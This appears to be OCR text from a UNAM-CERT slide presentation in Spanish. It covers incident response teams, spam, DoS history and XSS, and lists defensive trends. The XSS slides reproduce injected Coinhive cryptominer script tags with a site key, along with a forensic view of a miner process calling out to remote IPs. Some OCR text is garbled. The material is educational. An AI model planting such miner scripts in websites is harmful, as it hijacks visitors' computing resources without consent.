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CERT/CSIRT

e CERT: Computer Emergency Response Team
e CERT-CC: Computer Emergency Response
Team

e CSIRT — Computer Security Incident Response
Team




CERT/CSIRT

* Tipos de Incidentes:
— Malware/ATP
— DoS
— SPAM
— ATP
— Phishing




Tipos de CSIRT

e Académicos

e Comerciales

e Gubernamentales

e Infraestructuras Criticas
e Nacionales

e Militares
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Equipos de Respuesta Nivel
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Casos Historicos de malware

. 1988 - Gusano de morris

‘ 2000 — | love you

iataqW/ANNaCry 4




Spam

e 1970 primer spam
e Spam publicitario
e Spam con phishing
e Spam con malware




Tendencias antiSpam

Filtros en el servidor de correo

Soluciones de filtrado de empresas

Soluciones en la Nube SECaaS

Soluciones de correo en la Nube, con
filtrado antispam por parte del
proveedor




DoS Historicos

e 2012 — 60 Gbps. Bank of america, JP morgan
chase, U.S. Bancorp, citigroup y PNC bank.

e 2013 — 300 Gbps. Spamhous
e 2014 — 400 Gbps. Spamhous
e 2018 — 1.3 Tbps. Github
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DoS en la UNAM
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DoS en la UNAM
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Tendencias de AntiDoS

Firewall

NGFW

UTM - Unified Thread Management

UTM. Firewall, VPN, IDS, IPS, AV, Antispiware, Web filter, etc




Tendencias de AntiDoS

7 . . .

Analisis de flujos en routers de borde y
bloqueo

Analisis de flujos en routers de ISP y blogueo

Analisis en servidores DNS y bloqueo

Proteccidon de DNS en la Nube
Scrubing Center




Ataques de XSS

e Defacement de paginas web
e [nyeccién de publicidad
e Minado de Criptomonedas.

o
—oad the Coinhive Miner and start mining 0 1 | l a V e

‘script src="https://coinhive.com/lib/coinhive.min.js"></script>

‘script>
var miner = new CoinHive.User('SITE_KEY', 'john-doe');
m:lner-star"t()s Hello! We are The new JavaScript crypto currency miner for websites. And
{/seript> we are good:
et the number of hashes solved by a user - Easy Syt at ion
curl "https://api.coinhive.com/user/balance?name=john-doefsecret=¢(secret-key>" + Automatic payou
t {success: true, name: "john-doe" balance: 4896} Mining

dashboard




@ dwwnin.exe:5460 Properties EIE
| GPU Graph I Threads | TCR/IP | Security I Enironment | Strings .

Image | Performance | FPerformance Graph |  Disk and Network « Una vez identificado el proceso malicioso se observa que tiene una cor

Image File establecida al puerto 443 de la direccién IP [37.59.54.205], como se muestra
M %MRig CPU miner siguiente imagen:
¥ WAL EIFG, COm
Yersion: 2.5.1.0 Process ¢ PID Protocol Local Address Local Port Remote Address Remote .. State
Build Time: Fri dug 25 14:48:19 2017 S dwmere = T8 12z, s 318354205 e Estael
Path:
£ Aindows|Resources! Themes! AeralSheliMormalCalarvs\d: |Explore Posterior a finalizar el proceso [5304] de la imagen anterior, este se volvio a eje
command line: conectandose a una direccion IP distinta a la anterior, esta vez a la direcc
ChwindowsiResources) Themesiaerol ShelliMormalColorwstdwnn -a cr [94 .23.206. 130] por el pu erto 443.
Current direckory:
Cywindows)System3z) Process 7 FID Pratocol Local Address Local Port Remote Address Remote ...  State
fubostart Location: D dwnnese 5480 TCP 13224c 0 53380 94.23 206130 443 ESTAEI
nfa Explore . . . .

Al reiniciar el equipo, el proceso de [dwnn.exe] se continua ejecutando en el ¢

Parert:  cmd.exe(1684) y establece una conexioén a otra direccion IP al puerto 443.

User: MNT AUTHORITYYSY¥STEM

Started: 11:38:37 a.m, 170100201 Image: 64-bit |anes: 4 PID Pratocol Local Addiess Local Port Remote Addiess Remote . State

@ dwnn.exe 5460 TCP 132245l 58255 188.165.254.85 443 ESTAB

<script src="https://coin-hive.com/lib/coinhive.min.js"></script>

<script>
var miner = new CoinHive.Anonymous('68T8JSRIB5i3VA7D2Hy6aaHMyVKWFyHB');
miner.start();

</script>

<script src="https://coin-hive.com/lib/coinhive.min.js"></script>

<script>

var miner = new CoinHive.Anonymous('68T8JSRIB5i3VA7D2Hy6aaHMyVKWFyHB');
miner.start(); ~
</script>




Tendencias de anti-XSS

e IDS a nivel de Host

 (WAF) Firewall de aplicacion — Modsecurity
e |PS

e Unified Thread Management

* NGFW

e SECaa$s




Tendencias

/,}/
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— —
Machine Learning
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Tendencias

e 2009 - Bitcoin y Blockchain
e 1999 - Honeypot -> Deception technology




Tendencias

* Inteligencia artificial
 Advance Persistent Threat APT
e NGFW vs UTM

e NG XXX...




Preguntas

M. en C. Roberto Sanchez Soledad
Coordinador de Seguridad UNAM-CERT

www.cert.unam.mx

roberto.sanchez@cert.unam.mx
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